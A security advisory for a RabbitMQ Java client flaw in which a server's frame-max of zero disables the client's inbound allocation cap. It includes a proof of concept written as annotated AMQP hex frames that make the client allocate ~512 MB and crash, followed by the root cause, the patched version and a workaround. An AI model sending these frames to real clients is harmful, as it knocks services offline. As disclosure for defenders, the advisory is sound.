CVE-2026-75516: RabbitMQ Java Client Frame-Level OOM via Math.min with Unlimited Frame Size
A malicious or man-in-the-middle AMQP server can crash any RabbitMQ Java client by sending a frame-max value of zero during handshake, silently disabling the 64 MB inbound allocation cap and allowing…
The problem
In AMQConnection.java, after Connection.Tune negotiation, the client sets its frame size limit with Math.min(this.maxInboundMessageBodySize, frameMax). The AMQP spec uses frameMax = 0 to mean "unlimited", but Math.min(67108864, 0) evaluates to 0, not to the intended 64 MB cap.
That zero is then passed to Utils.framePayloadLimit(0), which interprets any value <= 0 as Integer.MAX_VALUE. The protection introduced by maxInboundMessageBodySize is entirely defeated. A single malicious frame then causes Frame.readFrom() to execute new byte[frameSize], allocating up to ~2 GB and crashing the JVM process.
Proof of concept
A working proof-of-concept for CVE-2026-75516 in com.rabbitmq:amqp-client, with the exact payload below.
# Step 1: malicious server sends Connection.Tune with frame_max = 0
# AMQP 0-9-1 wire encoding (hex) -- Connection.Tune (class 10, method 30)
# Frame type 1 (METHOD), channel 0, payload length 12
01 00 00 # type=METHOD, channel=0
00 00 00 0C # payload size = 12 bytes
00 0A 00 1E # class-id=10 (connection), method-id=30 (tune)
00 FF # channel-max = 255
00 00 00 00 # frame-max = 0 <-- "unlimited" per spec; Math.min kills the cap
00 3C # heartbeat = 60 s
CE # frame-end
# Step 2: after Tune-Ok, attacker sends any frame type with an oversized size field.
# Frame type 1 (METHOD), channel 1, declared size = 0x1FFFFFFF (~512 MB)
# Client calls new byte[0x1FFFFFFF] in Frame.readFrom() before reading any content.
01 00 01 # type=METHOD, channel=1
1F FF FF FF # declared frame payload size = 536870911 bytes (~512 MB)
# ... client allocates the array immediately -> OutOfMemoryErrorThe root cause is a semantic mismatch: AMQP uses frameMax = 0 to mean "no limit", but Java's Math.min treats it as the integer zero, always winning against any positive cap. Once the frame handler is configured with limit zero, Utils.framePayloadLimit(0) returns Integer.MAX_VALUE, erasing the maxInboundMessageBodySize guard entirely.
The patch replaces the Math.min call with an explicit zero-check: if frameMax == 0, use maxInboundMessageBodySize as the effective cap; otherwise take the smaller of the two. This correctly honours the AMQP "unlimited" semantic without disabling the client-side allocation guard (CWE-770).
The fix
Upgrade com.rabbitmq:amqp-client to **5.34.0** or later (commits 6d7c2bf and e7f10bf, PRs #2015 and #2016). The fix changes AMQConnection.java to treat frameMax == 0 as "use maxInboundMessageBodySize" rather than passing zero through Math.min. If an immediate upgrade is not possible, explicitly set ConnectionFactory.setRequestedFrameMax() to a non-zero value (e.g. 131072) so the negotiated value is never zero and Math.min behaves correctly.
Reported by acogoluegnes (Arnaud Cogoluègnes, Broadcom / RabbitMQ team).
Related research
- highCVE-2026-69220CVE-2026-69220: RabbitMQ Java Client Uncontrolled Recursion DoS via Nested AMQP Tables
- highCVE-2026-69219CVE-2026-69219: RabbitMQ Java Client Unchecked LongString Allocation DoS
- highCVE-2026-63337CVE-2026-63337: RabbitMQ amqp-client Unsafe Reflection via JSON-RPC javaReturnType
- high · 7.5CVE-2026-69202CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS